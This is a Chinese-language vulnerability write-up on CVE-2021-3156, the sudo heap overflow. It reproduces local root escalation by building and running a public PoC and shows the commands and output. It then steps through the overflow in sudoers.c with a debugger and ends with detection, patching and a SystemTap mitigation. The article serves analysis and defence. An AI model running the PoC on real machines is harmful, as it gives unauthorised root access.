CVE-2021-3156漏洞浅析
2021-03-25 11:03:47 Author: mp.weixin.qq.com(查看原文) 阅读量:148 收藏

文章来源: 天禧信安

0x00前言
好几周前 Linux 有个 sudo 漏洞爆出来了 编号 CVE-2021-3156
这个漏洞能让低权限用户(甚至没有在 sudoers 文件里)直接提权到 root
漏洞影响版本:
lsudo 1.8.2-1.8.31p2
lsudo 1.9.0-1.9.5p1 稳定版
0x01 漏洞复现
复现环境为 Ubuntu 18.04.5 (Bionic) LTS。
首先创建一个低权限用户用于测试 PoC:
useradd doge
然后切换到用户 doge,确认其权限:
su dogewhoami# dogesudo apt install git# doge不在sudoers文件中。此事件将被报告
确认过权限后,我们开始构建漏洞 PoC,这里使用的是 https://github.com/blasty/CVE-2021-3156
git clone https://github.com/blasty/CVE-2021-3156.gitcd CVE-2021-3156make
啪的一下就构建完了,很快啊
它会生成一个 sudo-hax-me-a-sandwich 程序,直接运行它
./sudo-hax-me-a-sandwich#** CVE-2021-3156 PoC by blasty## usage: ./sudo-hax-me-a-sandwich## available targets:# ------------------------------------------------------------# 0) Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27# 1) Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31# 2) Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28# ------------------------------------------------------------## manual mode:# ./sudo-hax-me-a-sandwich
很巧啊 ,我们的测试环境正好和它对上了,咱直接开干
./sudo-hax-me-a-sandwich 0# ** CVE-2021-3156 PoC by blasty## using target: Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27 ['/usr/bin/sudoedit'](56, 54, 63, 212)# ** pray for your rootshell.. **# [+] bl1ng bl1ng! We got it!whoami# root
这样下来,我们就拿到了一个 root shell
看来咱pray还是有效的,不如每次拿shell之前心里默念大悲咒(?)
0x02 漏洞分析
啪的一下,咱就装个 cgdb
sudo apt install cgdb
为什么不用 gdb?因为 cgdb 提供两个界面:一个代码界面,一个 gdb 命令行
众所周知,gdb看代码需要list指令,有时候它显示不到我们需要的代码,还需要再带上行数
而cgdb就能直接上下翻,还能直接在代码上下断点,灰常滴方便。
我们要分析的sudo版本为1.9.5p1,最后一个有漏洞的版本。
为了能方便的看代码,我们要把它重新编译一下
wget https://github.com/sudo-project/sudo/archive/SUDO_1_9_5p1.tar.gztar xf SUDO_1_9_5p1.tar.gzcd sudo-SUDO_1_9_5p1mkdir buildcd build../configure --enable-env-debugmake -jsudo make install
完成之后,我们开始调试
sudo cgdb --args sudoedit -s '\' 1145141919810# 一定要以root权限调试!
网上一些分析文章说漏洞代码是动态加载,要先把程序弄崩,直接下断下不到。
因此在下断前,还有一些文章会先传 65536 个字符把进程搞崩 (此时漏洞代码已加载),然后再下断
动态加载确实不错,但下不了断就是你的不对了
gdb 有个功能,看演示 漏洞代码位于 plugins/sudoers/sudoers.c,我们断到第 964 行
(gdb) b ../../../plugins/sudoers/sudoers.c:964No source file named ../../../plugins/sudoers/sudoers.c.Make breakpoint pending on future shared library load? (y or [n]) yBreakpoint 1 (../../../plugins/sudoers/sudoers.c:964) pending.(gdb) #注意,我现在位置一直是在build文件夹没变,这种相对路径要注意当前位置
如果我们下断的库并没有被加载,gdb 会把这个断点保留,直到这个库文件被加载后断点才会生效
执行 r 把程序跑起来,gdb 会断在 sudoers.c:964 这里,放一段代码:
/* set user_args */ if (NewArgc > 1) { char *to, *from, **av; size_t size, n; /* Alloc and build up user_args. */ for (size = 0, av = NewArgv + 1; *av; av++) size += strlen(*av) + 1; if (size == 0 || (user_args = malloc(size)) == NULL) { sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory")); debug_return_int(NOT_FOUND_ERROR); } if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { //**gdb断在此处** /* * When running a command via a shell, the sudo front-end * escapes potential meta chars. We unescape non-spaces * for sudoers matching and logging purposes. */ for (to = user_args, av = NewArgv + 1; (from = *av); av++) { while (*from) { if (from[0] == '\\' && !isspace((unsigned char)from[1])) from++; *to++ = *from++; } *to++ = ' '; } *--to = '\0';}
我们实际传入的参数有四个:"sudoedit","-s","\","1145141919810",
在前面的代码中 "-s" 已经被去除,留下了三个参数赋值到 NewArgv
在断点前面有一个 for 循环,它把 NewArgv [1] 和 NewArgv [2] 计算出长度来,并使用 malloc () 申请了一片内存用于变量 user_args
/* Alloc and build up user_args. */ for (size = 0, av = NewArgv + 1; *av; av++) size += strlen(*av) + 1; if (size == 0 || (user_args = malloc(size)) == NULL) { sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory")); debug_return_int(NOT_FOUND_ERROR); }
这里我们记录下它所申请的内存大小 (即变量 size 的值):
(gdb) p size$1 = 16
然后我们看看 NewArgv,它是去掉 "-s" 后过来的一个数组。
(gdb) p NewArgv$2 = (char **) 0x55c42f87f708
一个 char 占 1 字节,"sudoedit" 作为一个 char 数组的成员占 8 字节,同时数组成员后面还有 0x00 占一字节,一共是 9 字节。9 字节再加上 16 字节即为 user_args 所在内存
(gdb) p NewArgv+25$3 = (char **) 0x55c42f87f7d0
我们看一下那里的内存
(gdb) x/8xg 0x55c42f87f7d00x55c42f87f7d0: 0x00007f041be3fca0 0x00007f041be3fca00x55c42f87f7e0: 0x0000000000000000 0x0000000000000c210x55c42f87f7f0: 0x00007f041be3fca0 0x00007f041be3fca00x55c42f87f800: 0x0000000000000000 0x0000000000000000
接着看代码,有一个 for 循环用于将 NewArgv [1] 和 NewArgv [2] 存入
user_argsfor (to = user_args, av = NewArgv + 1; (from = *av); av++) { while (*from) { //注意if判断 if (from[0] == '\\' && !isspace((unsigned char)from[1])) from++; *to++ = *from++; } *to++ = ' '; }
首先看 for,将 NewArgv 的第 2 个数组成员 (赋值到 av)(第一个数组成员为 "sudoedit") 赋值到 from 参数后进入了一个 while 循环读数据,若 from 为 0 (C 语言在每一个数组成员的后面都会加个 0x0 用于分隔,from 为 0 即代表读取完一个数组成员) 则 for 便继续下一轮循环
为什么要注意那个 if 判断呢?我们看看它干了什么:
if (from[0] == '\\' && !isspace((unsigned char)from[1])) from++;
若 from [0] 为 \(代码中两个斜杠为转义后) 且 from [1] 为 0x00,就把 from+1。
这问题就大了,朋友们
我们看看from+1之后是什么
(gdb) p NewArgv[1]$4 = 0x7ffec3f74315 "\\"(gdb) x/20xb 0x7ffec3f743150x7ffec3f74315: 0x5c 0x00 0x31 0x31 0x34 0x35 0x31 0x340x7ffec3f7431d: 0x31 0x39 0x31 0x39 0x38 0x31 0x30 0x000x7ffec3f74325: 0x43 0x4c 0x55 0x54
斜杠 (0x5c) 自己占一个数组成员,之后是数组成员的分隔符 (0x00),正好符合判断,from+1 后便来到了 NewArgv [2] 的开头,while 循环便开始读 NewArgv [2] 的数据,看上去没什么毛病?
注意辣 虽然while这里自己把from+1读了NewArgv[2],但它上面for循环的av还停留在NewArgv[1]的位置。
while循环退出后,for循环会将av指向NewArgv[2],再读一次。
这样NewArgv[2]就被读了两次。
给user_args分配的内存是多大(即size的值)来着?
(gdb) p size$1 = 16
16 字节 那 NewArgv [2] 被读了两次,实际写入的数据为多少哪?
我们在第 978 行 (for 循环的下一条指令) 下断,把程序跑起来
(gdb) b ../../../plugins/sudoers/sudoers.c:978Breakpoint 2 at 0x7ff42c055f01: file ../../../plugins/sudoers/sudoers.c, line 978.(gdb) cContinuing.Breakpoint 2, set_cmnd () at ../../../plugins/sudoers/sudoers.c:978
到这里 for 循环完成了,我们看一下实际写入的数据为多少:
(gdb) p to$5 = 0x5572bbba57ec " "(gdb) p 0x5572bbba57ec-0x5572bbba57d0$6 = 28(gdb) #我虚拟机中途重启过一次,因此内存(gdb) #地址有变动。在系统未重启的情况下(gdb) #0x5572bbba57d0这个地址应为上面(gdb) #计算出的user_args的地址(gdb) #(即0x55c42f87f7d0)
实际写入的内存为 28 字节,而 user_args 只有 16 字节的内存。
啪,堆溢出
此时下一堆块已被修改
(gdb) x/8xg 0x5572bbba57d00x5572bbba57d0: 0x3134313534313100 0x31203031383931390x5572bbba57e0: 0x3139313431353431 0x00000020303138390x5572bbba57f0: 0x00007ff42daabca0 0x00007ff42daabca00x5572bbba5800: 0x0000000000000000 0x0000000000000000
sudo 作为一个系统程序自然有高权限
这么一溢出 诶 就能以 root 执行任意代码了
0x03 漏洞判断/修复
那我怎么知道自己系统有没有这个漏洞呢打开终端 输入下面的指令 干就完了
sudoedit -s /
 如果出来的信息不是以 usage: 开头,诶 那就有漏洞了
漏洞发布至今已经有一两周的时间了,各大Linux发行版应该也发布了对应补丁,所以你应该能用apt修补这个漏洞
sudo apt updatesudo apt upgrade #或sudo apt install sudo
如果你的 Linux 并没有发布补丁 (或暂时没有时间更新),可以用下面的方法:
#现在应该只有CentOS没有补丁,这段shell是针对CentOS编写
yum install systemtap yum-utils kernel-devel-"$(uname -r)"vim sudoedit.stap# 写入以下内容:# probe process("/usr/bin/sudo").function("main") {#         command = cmdline_args(0,0,"");#         if (strpos(command, "edit") >= 0) {#                 raise(9);#         }# }nohup stap -g sudoedit.stap &# 注意,上述措施会在重启后失效# 如果安装了补丁程序,可以用以下办法撤销临时措施:kill -s SIGTERM systemtap进程PID

推荐文章++++

*CVE-2020-28243 SaltStack Minion本地特权提升漏洞分析

*Internet Explorer漏洞分析(三)[上]——VBScript Scripting Engine初探

*【Struts2-命令-代码执行漏洞分析系列】 S2-008 (CVE-2012-0392)


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650506838&idx=3&sn=7b5d6f14661937e1c2ee3cb93de5ba82&chksm=83bae3b2b4cd6aa4f288986e039c1a3f8791df1077c294e817a2f09bbb0eb12d4105f58b0bec#rd
如有侵权请联系:admin#unsafe.sh